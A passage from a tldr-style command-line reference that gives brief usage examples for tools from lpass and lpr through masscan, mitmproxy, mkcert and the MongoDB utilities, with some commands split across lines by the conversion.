More information: https://github.com/lastpass/lastpass-cli.

• Log in to your LastPass account, by entering your master password when


prompted:

lpass login {{username}}

• Show login status:

lpass status

• List all sites grouped by category:

lpass ls

• Generate a new password for gmail.com with the identifier myinbox and add to
LastPass:

lpass generate --username {{username}} --url {{gmail.com}}


{{myinbox}} {{password_length}}

• Show password for a specified entry:

lpass show {{myinbox}} --password


lpinfo
List connected printers and installed drivers for the CUPS print server.

More information: https://www.cups.org/doc/man-lpinfo.html.

• List all the currently connected printers:

lpinfo -v

• List all the currently installed printer drivers:

lpinfo -m

• Search installed printer drivers by make and model:

lpinfo --make-and-model "{{printer_model}}" -m


lpr
CUPS tool for printing files.

See also lpstat and lpadmin for listing and configuring printers.

More information: http://www.CUPS.org.

• Print a file to the default printer:

lpr {{path/to/file}}

• Print 2 copies:

lpr -# {{2}} {{path/to/file}}

• Print to a named printer:

lpr -P {{printer}} {{path/to/file}}

• Print either a single page (e.g. 2) or a range of pages (e.g. 2–16):

lpr -o page-ranges={{2|2-16}} {{path/to/file}}

• Print double-sided either in portrait (long) or in landscape (short):

lpr -o sides={{two_sided_long_edge|two_sided_short_edge}}
{{path/to/file}}

• Set page size (more options may be available depending on setup):

lpr -o media={{a4|letter|legal}} {{path/to/file}}

• Print multiple pages per sheet:

lpr -o number-up={{2|4|6|9|16}} {{path/to/file}}


lpstat
Show status information about printers.

More information: https://manned.org/lpstat.

• List printers present on the machine and whether they are enabled for printing:

lpstat -p

• Show the default printer:

lpstat -d

• Display all available status information:

lpstat -t

• Show a list of print jobs queued by the specified user:

lpstat -u {{user}}
ls
List directory contents.

More information: https://www.gnu.org/software/coreutils/ls.

• List files one per line:

ls -1

• List all files, including hidden files:

ls -a

• List all files, with trailing / added to directory names:

ls -F

• Long format list (permissions, ownership, size, and modification date) of all files:

ls -la

• Long format list with size displayed using human-readable units (KiB, MiB, GiB):

ls -lh

• Long format list sorted by size (descending):

ls -lS

• Long format list of all files, sorted by modification date (oldest first):

ls -ltr

• Only list directories:

ls -d */
lsd
List directory contents.

The next generation ls command, written in Rust.

More information: https://github.com/Peltoche/lsd.

• List files and directories, one per line:

lsd -1

• List all files and directories, including hidden ones, in the current directory:

lsd -a

• List all files and directories with trailing / added to directory names:

lsd -F

• List all files and directories in long format (permissions, ownership, size, and
modification date):

lsd -la

• List all files and directories in long format with size displayed using human-
readable units (KiB, MiB, GiB):

lsd -lh

• List all files and directories in long format, sorted by size (descending):

lsd -lS

• List all files and directories in long format, sorted by modification date (oldest
first):

lsd -ltr

• Only list directories:

lsd -d {{*/}}
lsof
Lists open files and the corresponding processes.

Note: Root privileges (or sudo) is required to list files opened by others.

More information: https://manned.org/lsof.

• Find the processes that have a given file open:

lsof {{path/to/file}}

• Find the process that opened a local internet port:

lsof -i :{{port}}

• Only output the process ID (PID):

lsof -t {{path/to/file}}

• List files opened by the given user:

lsof -u {{username}}

• List files opened by the given command or process:

lsof -c {{process_or_command_name}}

• List files opened by a specific process, given its PID:

lsof -p {{PID}}

• List open files in a directory:

lsof +D {{path/to/directory}}

• Find the process that is listening on a local IPv6 TCP port and don't convert
network or port numbers:

lsof -i6TCP:{{port}} -sTCP:LISTEN -n -P


lt
Localtunnel exposes your localhost to the world for easy testing and sharing.

More information: https://github.com/localtunnel/localtunnel.

• Start tunnel from a specific port:

lt --port {{8000}}

• Specify the upstream server doing the forwarding:

lt --port {{8000}} --host {{host}}

• Request a specific subdomain:

lt --port {{8000}} --subdomain {{subdomain}}

• Print basic request info:

lt --port {{8000}} --print-requests

• Open the tunnel URL in the default web browser:

lt --port {{8000}} --open


lua
A powerful, light-weight embeddable programming language.

More information: https://www.lua.org.

• Start an interactive Lua shell:

lua

• Execute a Lua script:

lua {{script_name.lua}} {{--optional-argument}}

• Execute a Lua expression:

lua -e '{{print( "Hello World" )}}'


luac
Lua bytecode compiler.

More information: https://www.lua.org.

• Compile a Lua source file to Lua bytecode:

luac -o {{byte_code.luac}} {{source.lua}}

• Do not include debug symbols in the output:

luac -s -o {{byte_code.luac}} {{source.lua}}


lumen
A command-line installer for the Lumen micro-framework.

More information: https://lumen.laravel.com.

• Create a new Lumen application:

lumen new {{application_name}}

• List the available installer commands:

lumen list
lwp-request
Simple command-line HTTP client.

Built with libwww-perl.

More information: https://metacpan.org/pod/lwp-request.

• Make a simple GET request:

lwp-request -m GET {{http://example.com/some/path}}

• Upload a file with a POST request:

lwp-request -m POST {{http://example.com/some/path}} <


{{path/to/file}}

• Make a request with a custom user agent:

lwp-request -H 'User-Agent: {{user_agent}} -m {{METHOD}}


{{http://example.com/some/path}}

• Make a request with HTTP authentication:

lwp-request -C {{username}}:{{password}} -m {{METHOD}}


{{http://example.com/some/path}}

• Make a request and print request headers:

lwp-request -U -m {{METHOD}} {{http://example.com/some/path}}

• Make a request and print response headers and status chain:

lwp-request -E -m {{METHOD}} {{http://example.com/some/path}}


lynx
Command-line web browser.

More information: https://lynx.browser.org.

• Visit a website:

lynx {{example.com}}

• Apply restrictions for anonymous account:

lynx -anonymous {{example.com}}

• Turn on mouse support, if available:

lynx -use_mouse {{example.com}}

• Force color mode on, if available:

lynx -color {{example.com}}

• Open a link, using a specific file to read and write cookies:

lynx -cookie_file={{path/to/file}} {{example.com}}

• Navigate forwards and backwards through the links on a page:

Up arrow key, Down arrow key

• Go back to the previously displayed page:

Left arrow key or u

• Exit:

q then y
lz4
Compress or decompress .lz4 files.

More information: https://github.com/lz4/lz4.

• Compress a file:

lz4 {{file}}

• Decompress a file:

lz4 -d {{file.lz4}}

• Decompress a file and write to stdout:

lz4 -dc {{file.lz4}}

• Package and compress a directory and its contents:

tar cvf - {{path/to/directory}} | lz4 - {{dir.tar.lz4}}

• Decompress and unpack a directory and its contents:

lz4 -d {{dir.tar.lz4}} | tar -xv

• Compress a file using the best compression:

lz4 -9 {{file}}
lzop
Compress or decompress files with LZO compression.

More information: https://www.lzop.org/.

• Compress a file into a new file with the .lzo suffix:

lzop {{file}}

• Decompress a file:

lzop -d {{file}}.lzo

• Compress a file, while specifying the compression level. 0 = Worst, 9 = Best


(Default level is 3):

lzop -{{level}} {{file}}


m4
Macro processor.

More information: https://www.gnu.org/software/m4.

• Process macros in a file:

m4 {{path/to/file}}

• Define a macro before processing files:

m4 -D{{macro_name}}={{macro_value}} {{path/to/file}}
magento
A CLI for managing the Magento PHP framework.

More information: https://magento.com.

• Enable one or more space-separated modules:

magento module:enable {{module(s)}}

• Disable one or more space-separated modules:

magento module:disable {{module(s)}}

• Update the database after enabling modules:

magento setup:upgrade

• Update code and dependency injection configuration:

magento setup:di:compile

• Deploy static assets:

magento setup:static-content:deploy

• Enable maintenance mode:

magento maintenance:enable

• Disable maintenance mode:

magento maintenance:disable

• List all available commands:

magento list
magick
Create, edit, compose, or convert bitmap images.

ImageMagick version 7+. See convert for versions 6 and below.

More information: https://imagemagick.org/.

• Convert file type:

magick {{image.png}} {{image.jpg}}

• Resize an image, making a new copy:

magick convert -resize {{100x100}} {{image.jpg}}


{{image.jpg}}

• Create a GIF using images:

magick {{*.jpg}} {{images.gif}}

• Create checkerboard pattern:

magick -size {{640x480}} pattern:checkerboard


{{checkerboard.png}}

• Convert images to individual PDF pages:

magick {{*.jpg}} +adjoin {{page-%d.pdf}}


mail
The command operates on the user's mailbox if no argument is given.

To send an email the message body is built from standard input.

More information: https://manned.org/mail.

• Send a typed email message. The command-line below continues after pressing
Enter key. Input CC email-id (optional) press Enter key. Input message text (can be
multiline). Press Ctrl-D key to complete the message text:

mail --subject="{{subject line}}" {{to_user@example.com}}

• Send an email that contains file content:

mail --subject="{{$HOSTNAME filename.txt}}"


{{to_user@example.com}} < {{path/to/filename.txt}}

• Send a tar.gz file as an attachment:

tar cvzf - {{path/to/directory1 path/to/directory2}} |


uuencode {{data.tar.gz}} | mail --subject="{{subject_line}}"
{{to_user@example.com}}
mailx
Send and receive mail.

More information: https://manned.org/mailx.

• Send mail (the content should be typed after the command, and ended with
Ctrl+D):

mailx -s "{{subject}}" {{to_addr}}

• Send mail with content passed from another command:

echo "{{content}}" | mailx -s "{{subject}}" {{to_addr}}

• Send mail with content read from a file:

mailx -s "{{subject}}" {{to_addr}} < {{content.txt}}

• Send mail to a recipient and CC to another address:

mailx -s "{{subject}}" -c {{cc_addr}} {{to_addr}}

• Send mail specifying the sender address:

mailx -s "{{subject}}" -r {{from_addr}} {{to_addr}}

• Send mail with an attachment:

mailx -a {{file}} -s "{{subject}}" {{to_addr}}


make
Task runner for targets described in Makefile.

Mostly used to control the compilation of an executable from source code.

More information: https://www.gnu.org/software/make/manual/make.html.

• Call the first target specified in the Makefile (usually named "all"):

make

• Call a specific target:

make {{target}}

• Call a specific target, executing 4 jobs at a time in parallel:

make -j{{4}} {{target}}

• Use a specific Makefile:

make --file {{file}}

• Execute make from another directory:

make --directory {{directory}}

• Force making of a target, even if source files are unchanged:

make --always-make {{target}}

• Override variables defined in the Makefile by the environment:

make --environment-overrides {{target}}


makebuildserver
Create an F-Droid build server virtual machine.

More information: https://f-droid.org/en/docs/Build_Server_Setup/.

• Create a new virtual machine or update an existing one (if available):

makebuildserver

• Force creating a fresh virtual machine:

makebuildserver --clean
makensis
Cross-platform compiler for NSIS installers.

It compiles a NSIS script into a Windows installer executable.

More information: https://nsis.sourceforge.io/Docs/Chapter3.html.

• Compile a NSIS script:

makensis {{path/to/file.nsi}}

• Compile a NSIS script in strict mode (treat warnings as errors):

makensis -WX {{path/to/file.nsi}}

• Print help for a specific command:

makensis -CMDHELP {{command}}


makepasswd
Generate and encrypt passwords.

More information: https://manpages.debian.org/stretch/makepasswd/makepasswd.


1.en.html.

• Generate a random password (8 to 10 characters long, containing letters and


numbers):

makepasswd

• Generate a 10 characters long password:

makepasswd --chars {{10}}

• Generate a 5 to 10 characters long password:

makepasswd --minchars {{5}} --maxchars {{10}}

• Generate a password containing only the characters "b", "a" or "r":

makepasswd --string {{bar}}


man
Format and display manual pages.

More information: https://www.man7.org/linux/man-pages/man1/man.1.html.

• Display the man page for a command:

man {{command}}

• Display the man page for a command from section 7:

man {{7}} {{command}}

• Display the path searched for manpages:

man --path

• Display the location of a manpage rather than the manpage itself:

man -w {{command}}

• Display the man page using a specific locale:

man {{command}} --locale={{locale}}

• Search for manpages containing a search string:

man -k "{{search_string}}"
Masscan
Network scanner for scanning as fast as possible.

Best run with elevated priviledges. Nmap compability run masscan --nmap to find out
more.

More information: https://github.com/robertdavidgraham/masscan.

• Scan an IP or network subnet for port 80:

masscan {{ip_address|network_prefix}} --ports {{80}}

• Scan a class B subnet for the top 100 ports at 100,000 packets per second:

masscan {{10.0.0.0/16}} --top-ports {{100}} --rate {{100000}}

• Scan a class B subnet avoiding ranges from a specific exclude file:

masscan {{10.0.0.0/16}} --top-ports {{100}} --excludefile


{{path/to/file}}

• Scan the Internet for port 443:

masscan {{0.0.0.0/0}} --ports {{443}} --rate {{10000000}}

• Scan the Internet for a specific port range and export to a file:

masscan {{0.0.0.0/0}} --ports {{0-65535}} -output-format


{{binary|grepable|json|list|xml}} --output-filename {{path/
to/file}}
mat2
Anonymise various file formats by removing metadata.

More information: https://0xacab.org/jvoisin/mat2.

• List supported file formats:

mat2 --list

• Remove metadata from a file:

mat2 {{path/to/file}}

• Remove metadata from a file and print detailed output to the console:

mat2 --verbose {{path/to/file}}

• Show metadata in a file without removing it:

mat2 --show {{path/to/file}}

• Partially remove metadata from a file:

mat2 --lightweight {{path/to/file}}


matlab
Numerical computation environment by MathWorks.

More information: https://uk.mathworks.com/help/matlab/.

• Run without splash screen during startup:

matlab -nosplash

• Execute a MATLAB statement:

matlab -r "{{matlab_statement}}"

• Run a MATLAB script:

matlab -r "run({{path/to/script.m}})"
maza
Local ad blocker. Like Pi-hole but local and using the operating system.

More information: https://github.com/tanrax/maza-ad-blocking.

• Update the Maza database:

maza update

• Start Maza:

sudo maza start

• Stop Maza:

sudo maza stop

• Show the status of Maza:

maza status
mc
Midnight Commander, a terminal based file manager.

Navigate the directory structure using the arrow keys, the mouse or by typing the
commands into the terminal.

More information: https://midnight-commander.org.

• Start mc:

mc

• Start mc in black and white:

mc -b
md5sum
Calculate MD5 cryptographic checksums.

More information: https://www.gnu.org/software/coreutils/md5sum.

• Calculate the MD5 checksum for a file:

md5sum {{path/to/file}}

• Calculate MD5 checksums for multiple files:

md5sum {{path/to/file1}} {{path/to/filen2}}

• Read a file of MD5SUMs and verify all files have matching checksums:

md5sum -c {{path/to/file.md5}}

• Calculate a MD5 checksum from the standard input:

echo "{{text}}" | md5sum


mdp
A command-line based tool to make presentations from Markdown files.

More information: https://github.com/visit1985/mdp.

• Launch a presentation in the terminal from a Markdown file:

mdp {{presentation.md}}

• Disable fading transitions:

mdp --nofade {{presentation.md}}

• Invert font colors to use in terminals with light background:

mdp --invert {{presentation.md}}

• Disable transparency in transparent terminals:

mdp --notrans {{presentation.md}}


mediainfo
Display metadata from video and audio files.

More information: https://mediaarea.net/MediaInfo.

• Display metadata for a given file in the console:

mediainfo {{file}}

• Store the output to a given file along with displaying in the console:

mediainfo --Logfile={{out.txt}} {{file}}

• Display the list of metadata attributes that can be extracted:

mediainfo --Info-Parameters
meld
Graphical diffing and merging tool.

More information: https://meldmerge.org/.

• Start meld:

meld

• Compare 2 files:

meld {{path/to/file_1}} {{path/to/file_2}}

• Compare 2 directories:

meld {{path/to/directory_1}} {{path/to/directory_2}}

• Compare 3 files:

meld {{path/to/file_1}} {{path/to/file_2}} {{path/to/file_3}}

• Open a comparison as a new tab in a pre-existing meld instance:

meld --newtab {{path/to/file_1}} {{path/to/file_2}}

• Compare multiple sets of files:

meld --diff {{path/to/file_1}} {{path/to/file_2}} --diff


{{path/to/file_3}} {{path/to/file_4}}
mesg
Check or set a terminal's ability to receive messages from other users, usually from the
write command.

See also write.

More information: https://manned.org/mesg.

• Check terminal's openness to write messages:

mesg

• Disable receiving messages from the write command:

mesg n

• Enable receiving messages from the write command:

mesg y
meshlabserver
Command-line interface for the MeshLab 3D mesh processing software.

More information: https://manned.org/meshlabserver.

• Convert an STL file to an OBJ file:

meshlabserver -i {{input.stl}} -o {{output.obj}}

• Convert a WRL file to a OFF file, including the vertex and face normals in the
output mesh:

meshlabserver -i {{input.wrl}} -o {{output.off}} -om vn fn

• Dump a list of all the available processing filters into a file:

meshlabserver -d {{filename}}

• Process a 3D file using a filter script created in the MeshLab GUI (Filters > Show
current filter script > Save Script):

meshlabserver -i {{input.ply}} -o {{output.ply}} -s


{{filter_script.mlx}}

• Process a 3D file using a filter script, writing the output of the filters into a log file:

meshlabserver -i {{input.x3d}} -o {{output.x3d}} -s


{{filter_script.mlx}} -l {{logfile}}
meson
SCons-like build system that uses python as a front-end language and Ninja as a
building backend.

More information: https://mesonbuild.com.

• Generate a C project with a given name and version:

meson init --language={{c}} --name={{myproject}} --


version={{0.1}}

• Configure the builddir with default values:

meson setup {{build_dir}}

• Build the project:

meson compile -C {{path/to/build_dir}}

• Show the help:

meson --help

• Show version info:

meson --version
meteor
Full-stack JavaScript platform for building web applications.

More information: https://meteor.com.

• Run a meteor project from its root directory in development mode:

meteor

• Create a project under the given directory:

meteor create {{path/to/directory}}

• Display the list of packages the project is currently using:

meteor list

• Add a package to the project:

meteor add {{package_name}}

• Remove a package from the project:

meteor remove {{package_name}}

• Create a production build of the project as a tarball under the given directory:

meteor build {{path/to/directory}}


micro
Micro is a modern and intuitive terminal-based text editor.

You can use your keyboard, but also your mouse to navigate and/or select text.

More information: https://micro-editor.github.io.

• Open a file:

micro {{file}}

• Save a file:

Ctrl + S

• Cut the entire line:

Ctrl + K

• Search for a pattern in the file (press Ctrl + N/Ctrl + P to go to next/previous


match):

Ctrl + F "{{pattern}}" <Enter>

• Execute a command:

Ctrl + E {{command}} <Enter>

• Perform a substitution in the whole file:

Ctrl + E replaceall "{{pattern}}" "{{replacement}}" <Enter>

• Quit:

Ctrl + Q
middleman
Static site generator written in Ruby.

More information: https://middlemanapp.com/.

• Create a new Middleman project:

middleman init "{{project_name}}"

• Start local server for current project on port 4567:

middleman server

• Start local server for current project on a specified port:

middleman server -p "{{port}}"

• Build the project in the current directory to prepare for deployment:

bundle exec middleman build

• Deploy the Middleman project in the current directory:

middleman deploy
minetest
Multiplayer infinite-world block sandbox.

See also minetestserver, the server-only binary.

More information: https://wiki.minetest.net/Minetest.

• Start Minetest in client mode:

minetest

• Start Minetest in server mode by hosting a specific world:

minetest --server --world {{name}}

• Write logs to a specific file:

minetest --logfile {{path/to/file}}

• Only write errors to the console:

minetest --quiet
minetestserver
Multiplayer infinite-world block sandbox server.

See also minetest, the graphical client.

More information: https://wiki.minetest.net/Setting_up_a_server.

• Start the server:

minetestserver

• List available worlds:

minetestserver --world list

• Specify the world name to load:

minetestserver --world {{world_name}}

• List the available game IDs:

minetestserver --gameid list

• Specify a game to use:

minetestserver --gameid {{game_id}}

• Listen on a specific port:

minetestserver --port {{34567}}

• Migrate to a different data backend:

minetestserver --migrate {{sqlite3|leveldb|redis}}

• Start an interactive terminal after starting the server:

minetestserver --terminal
mingle
Bundle the edges of a graph layout.

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://www.graphviz.org/pdf/mingle.1.pdf.

• Bundle the edges of one or more graph layouts (that already have layout
information):

mingle {{path/to/layout1.gv}} {{path/to/layout2.gv ...}} >


{{path/to/output.gv}}

• Perform layout, bundling, and output to a picture with one command:

dot {{path/to/input.gv}} | mingle | dot -T {{png}} > {{path/


to/output.png}}

• Display help for mingle:

mingle -?
minifab
Utility tool that automates the setup and deployment of Hyperledger Fabric networks.

More information: https://github.com/hyperledger-labs/minifabric.

• Bring up the default Hyperledger Fabric network:

minifab up -i {{minifab_version}}

• Bring down the Hyperledger Fabric network:

minifab down

• Install chaincode onto a specified channel:

minifab install -n {{chaincode_name}}

• Install a specific chaincode version onto a channel:

minifab install -n {{chaincode_name}} -v


{{chaincode_version}}

• Initialize the chaincode after installation/upgrade:

minifab approve,commit,initialize,discover

• Invoke a chaincode method with the specified arguments:

minifab invoke -n {{chaincode_name}} -p '"{{method_name}}",


"{{arg0}}", "{{arg1}}", ...'

• Make a query on the ledger:

minifab blockquery {{block_number}}

• Quickly run an application:

minifab apprun -l {{app_programming_langauge}}


minikube
Tool to run Kubernetes locally.

More information: https://github.com/kubernetes/minikube.

• Start the cluster:

minikube start

• Get the IP address of the cluster:

minikube ip

• Access a service named my_service exposed via a node port and get the URL:

minikube service {{my_service}} --url

• Open the Kubernetes dashboard in a browser:

minikube dashboard

• Stop the running cluster:

minikube stop

• Delete the cluster:

minikube delete
miniserve
Simple HTTP file server CLI.

More information: https://github.com/svenstaro/miniserve.

• Serve a directory:

miniserve {{path/to/directory}}

• Serve a single file:

miniserve {{path/to/file}}

• Serve a directory using HTTP basic authentication:

miniserve --auth {{username}}:{{password}} {{path/to/


directory}}
minisign
A dead simple tool to sign files and verify signatures.

More information: https://jedisct1.github.io/minisign/.

• Generate a new keypair at the default location:

minisign -G

• Sign a file:

minisign -Sm {{path/to/file}}

• Sign a file, adding a trusted (signed) and an untrusted (unsigned) comment in the
signature:

minisign -Sm {{path/to/file}} -c "{{Untrusted comment}}" -t


"{{Trusted comment}}"

• Verify a file and the trusted comments in its signature using the specified public
key file:

minisign -Vm {{path/to/file}} -p {{path/to/publickey.pub}}

• Verify a file and the trusted comments in its signature, specifying a public key as a
Base64 encoded literal:

minisign -Vm {{path/to/file}} -P "{{public_key_base64}}"


mitmdump
View, record, and programmatically transform HTTP traffic.

The command-line counterpart to mitmproxy.

More information: https://docs.mitmproxy.org/stable/overview-tools/#mitmdump.

• Start a proxy and save all output to a file:

mitmdump -w {{filename}}

• Filter a saved traffic file to just POST requests:

mitmdump -nr {{input_filename}} -w {{output_filename}} "{{~m


post}}"

• Replay a saved traffic file:

mitmdump -nc {{filename}}


mitmproxy
An interactive man-in-the-middle HTTP proxy.

More information: https://mitmproxy.org.

• Start mitmproxy with default settings:

mitmproxy

• Start mitmproxy bound to custom address and port:

mitmproxy -b {{ip_address}} -p {{port}}


mix
Mix is a build tool that provides tasks for creating, compiling, and testing Elixir projects,
managing its dependencies, and more.

More information: https://hexdocs.pm/mix.

• Execute a particular file:

mix run {{my_script.exs}}

• Create a new project:

mix new {{project_name}}

• Compile project:

mix compile

• Run project tests:

mix test

• List all mix commands:

mix help
mixxx
Free and open source cross-platform DJ software.

More information: https://mixxx.org/manual/latest/chapters/appendix.html#command-


line-options.

• Start the Mixxx GUI in fullscreen:

mixxx --fullScreen

• Start in safe developer mode to debug a crash:

mixxx --developer --safeMode

• Debug a malfunction:

mixxx --debugAssertBreak --developer --loglevel trace

• Start Mixxx using the specified settings file:

mixxx --resourcePath {{mixxx/res/controllers}} --settingsPath


{{path/to/settings-file}}

• Debug a custom controller mapping:

mixxx --controllerDebug --resourcePath {{path/to/mapping-


directory}}

• Show command-line help:

mixxx --help
mkcert
Tool for making locally-trusted development certificates.

More information: https://github.com/FiloSottile/mkcert.

• Install the local CA in the system trust store:

mkcert -install

• Generate certificate and private key for a given domain:

mkcert {{example.org}}

• Generate certificate and private key for multiple domains:

mkcert {{example.org}} {{myapp.dev}} {{127.0.0.1}}

• Generate wildcard certificate and private key for a given domain and its
subdomains:

mkcert "{{*.example.it}}"

• Uninstall the local CA:

mkcert -uninstall
mkdir
Creates a directory.

More information: https://www.gnu.org/software/coreutils/mkdir.

• Create a directory in current directory or given path:

mkdir {{directory}}

• Create multiple directories in the current directory:

mkdir {{directory_1 directory_2 ...}}

• Create directories recursively (useful for creating nested dirs):

mkdir -p {{path/to/directory}}
mkfifo
Makes FIFOs (named pipes).

More information: https://www.gnu.org/software/coreutils/mkfifo.

• Create a named pipe at a given path:

mkfifo {{path/to/pipe}}
mktemp
Create a temporary file or directory.

More information: https://www.gnu.org/software/autogen/mktemp.html.

• Create an empty temporary file and return the absolute path to it:

mktemp

• Create a temporary directory and return the absolute path to it:

mktemp -d

• Create a temporary file with a specified suffix:

mktemp --suffix "{{.txt}}"


mktorrent
A CLI utility to create BitTorrent metainfo files.

More information: https://github.com/Rudde/mktorrent.

• Create a torrent with 2^21 KB as the piece size:

mktorrent -a {{tracker_announce_url}} -l {{21}} -o {{path/to/


example.torrent}} {{path/to/file_or_directory}}

• Create a private torrent with a 2^21 KB piece size:

mktorrent -p -a {{tracker_announce_url}} -l {{21}} -o {{path/


to/example.torrent}} {{path/to/file_or_directory}}

• Create a torrent with a comment:

mktorrent -c "{{comment}}" -a {{tracker_announce_url}} -l


{{21}} -o {{path/to/example.torrent}} {{path/to/
file_or_directory}}

• Create a torrent with multiple trackers:

mktorrent -a {{tracker_announce_url,tracker_announce_url_2}}
-l {{21}} -o {{path/to/example.torrent}} {{path/to/
file_or_directory}}

• Create a torrent with web seed URLs:

mktorrent -a {{tracker_announce_url}} -w {{web_seed_url}} -l


{{21}} -o {{path/to/example.torrent}} {{path/to/
file_or_directory}}
mkvmerge
Merge and extract multimedia streams.

More information: https://mkvtoolnix.download/doc/mkvmerge.html.

• Display information about a Matroska file:

mkvmerge --identify {{path/to/file.mkv}}

• Extract the audio from track 1 of a specific file:

mkvextract tracks {{path/to/file.mkv}} {{1}}:{{path/to/


output.webm}}

• Extract the subtitle from track 3 of a specific file:

mkvextract tracks {{path/to/file.mkv}} {{3}}:{{path/to/


subs.srt}}
mlr
Miller is like awk, sed, cut, join, and sort for name-indexed data such as CSV, TSV,
and tabular JSON.

More information: https://johnkerl.org/miller/doc.

• Pretty-print a CSV file in a tabular format:

mlr --icsv --opprint cat {{example.csv}}

• Receive JSON data and pretty print the output:

echo '{"hello":"world"}' | mlr --ijson --opprint cat

• Sort alphabetically on a field:

mlr --icsv --opprint sort -f {{field}} {{example.csv}}

• Sort in descending numerical order on a field:

mlr --icsv --opprint sort -nr {{field}} {{example.csv}}

• Convert CSV to JSON, performing calculations and display those calculations:

mlr --icsv --ojson put '${{newField1}} = ${{oldFieldA}}/$


{{oldFieldB}}' {{example.csv}}

• Receive JSON and format the output as vertical JSON:

echo '{"hello":"world", "foo":"bar"}' | mlr --ijson --ojson


--jvstack cat

• Filter lines of a compressed CSV file treating numbers as strings:

mlr --prepipe 'gunzip' --csv filter -S '${{fieldName}} =~


"{{regular_expression}}"' {{example.csv.gz}}
mm2gv
Convert a graph from Matrix Market mm format to gv format.

Converters: gml2gv, gv2gml, gv2gxl, gxl2gv, graphml2gv & mm2gv.

More information: https://graphviz.org/pdf/mm2gv.1.pdf.

• Convert a graph from mm to gv format:

mm2gv -o {{output.gv}} {{input.mm}}

• Convert a graph using stdin and stdout:

cat {{input.mm}} | mm2gv > {{output.gv}}

• Display help:

mm2gv -?
mmdc
CLI for mermaid, a diagram generation tool with a domain-specific language.

A mermaid definition file is taken as input and a SVG, PNG, or PDF file is generated as
output.

More information: https://mermaid-js.github.io/mermaid/.

• Convert a file to the specified format (automatically determined from the file
extension):

mmdc --input {{input.mmd}} --output {{output.svg}}

• Specify the theme of the chart:

mmdc --input {{input.mmd}} --output {{output.svg}} --theme


{{forest|dark|neutral|default}}

• Specify the background color of the chart (e.g. lime, "#D8064F", or


transparent):

mmdc --input {{input.mmd}} --output {{output.svg}} --


backgroundColor {{color}}
mmls
Display the partition layout of a volume system.

More information: https://wiki.sleuthkit.org/index.php?title=Mmls.

• Display the partition table stored in an image file:

mmls {{path/to/image_file}}

• Display the partition table with an additional column for the partition size:

mmls -B -i {{path/to/image_file}}

• Display the partition table in a split EWF image:

mmls -i ewf {{image.e01}} {{image.e02}}

• Display nested partition tables:

mmls -t {{nested_table_type}} -o {{offset}} {{path/to/


image_file}}
mmv
Move and rename files in bulk.

More information: https://manned.org/mmv.1.

• Rename all files with a certain extension to a different extension:

mmv "*{{.old_extension}}" "#1{{.new_extension}}"

• Copy report6part4.txt to ./french/rapport6partie4.txt along with all


similarly named files:

mmv -c "{{report*part*.txt}}" "{{./french/


rapport#1partie#2.txt}}"

• Append all .txt files into one file:

mmv -a "{{*.txt}}" "{{all.txt}}"

• Convert dates in filenames from "M-D-Y" format to "D-M-Y" format:

mmv "{{[0-1][0-9]-[0-3][0-9]-[0-9][0-9][0-9][0-9].txt}}"
"{{#3#4-#1#2-#5#6#7#8.txt}}"
mocha
Execute Mocha JavaScript test runner.

More information: https://mochajs.org.

• Run tests with default configuration or as configured in mocha.opts:

mocha

• Run tests contained at a specific location:

mocha {{directory/with/tests}}

• Run tests that match a specific grep pattern:

mocha --grep {{regular_expression}}

• Run tests on changes to JavaScript files in the current directory and once initially:

mocha --watch

• Run tests with a specific reporter:

mocha --reporter {{reporter}}


moe
A WYSIWYG text editor for ISO-8859-15 encoded text.

More information: https://www.gnu.org/software/moe/moe.html.

• Open moe and create a backup file (file~) when saving edits:

moe {{path/to/file}}

• Open a file as read-only:

moe --read-only {{path/to/file}}

• Edit a file without creating backups:

moe --no-backup {{path/to/file}}

• Edit a file ignoring case in searches:

moe --ignore-case {{path/to/file}}

• Save and Quit:

Ctrl + X
mogrify
Perform operations on multiple images, such as resizing, cropping, flipping, and adding
effects.

Changes are applied directly to the original file.

More information: https://imagemagick.org/script/mogrify.php.

• Resize all JPEG images in the directory to 50% of their initial size:

mogrify -resize {{50%}} {{*.jpg}}

• Resize all images starting with "DSC" to 800x600:

mogrify -resize {{800x600}} {{DSC*}}

• Convert all PNGs in the directory to JPEG:

mogrify -format {{jpg}} {{*.png}}

• Halve the saturation of all image files in the current directory:

mogrify -modulate {{100,50}} {{*}}

• Double the brightness of all image files in the current directory:

mogrify -modulate {{200}} {{*}}


molecule
Molecule helps testing Ansible roles.

More information: https://molecule.readthedocs.io.

• Create a new Ansible role:

molecule init role --role-name {{role_name}}

• Run tests:

molecule test

• Start the instance:

molecule create

• Configure the instance:

molecule converge

• Log in into the instance:

molecule login
mongo
MongoDB interactive shell client.

More information: https://docs.mongodb.com/manual/reference/program/mongo.

• Connect to a database:

mongo {{database}}

• Connect to a database running on a given host on a given port:

mongo --host {{host}} --port {{port}} {{database}}

• Connect to a database with a given username; user will be prompted for password:

mongo --username {{username}} {{database}} --password

• Evaluate a JavaScript expression on the database:

mongo --eval '{{JSON.stringify(db.foo.findOne())}}'


{{database}}
mongod
The MongoDB database server.

More information: https://docs.mongodb.com/manual/reference/program/mongod.

• Specify a config file:

mongod --config {{filename}}

• Specify the port to listen on:

mongod --port {{port}}

• Specify database profiling level. 0 is off, 1 is only slow operations, 2 is all:

mongod --profile {{0|1|2}}


mongodump
Utility to export the contents of a MongoDB instance.

More information: https://docs.mongodb.com/database-tools/mongodump/.

• Create a dump of all databases (this will place the files inside a directory called
"dump"):

mongodump

• Specify an output location for the dump:

mongodump --out {{path/to/directory}}

• Create a dump of a given database:

mongodump --db {{database_name}}

• Create a dump of a given collection within a given database:

mongodump --collection {{collection_name}} --db


{{database_name}}

• Connect to a given host running on a given port, and create a dump:

mongodump --host {{host}} --port {{port}}

• Create a dump of a given database with a given username; user will be prompted
for password:

mongodump --username {{username}} {{database}} --password

• Create a dump from a specific instance; host, user, password and database will be
defined in the connection string:

mongodump --uri {{connection_string}}


mongoexport
Produce exports of data stored in a MongoDB instance formatted as JSON or CSV.

More information: https://docs.mongodb.com/database-tools/mongoexport/.

• Export a collection to stdout, formatted as JSON:

mongoexport --uri={{connection_string}} --
collection={{collection_name}}

• Export the documents in the specified collection that match a query to a JSON file:

mongoexport --db={{database_name}} --
collection={{collection_name}} --query="{{query_object}}" --
out={{path/to/file.json}}

• Export documents as a JSON array instead of one object per line:

mongoexport --collection={{collection_name}} --jsonArray

• Export documents to a CSV file:

mongoexport --collection={{collection_name}} --type={{csv}}


--fields="{{field1,field2,...}}" --out={{path/to/file.csv}}

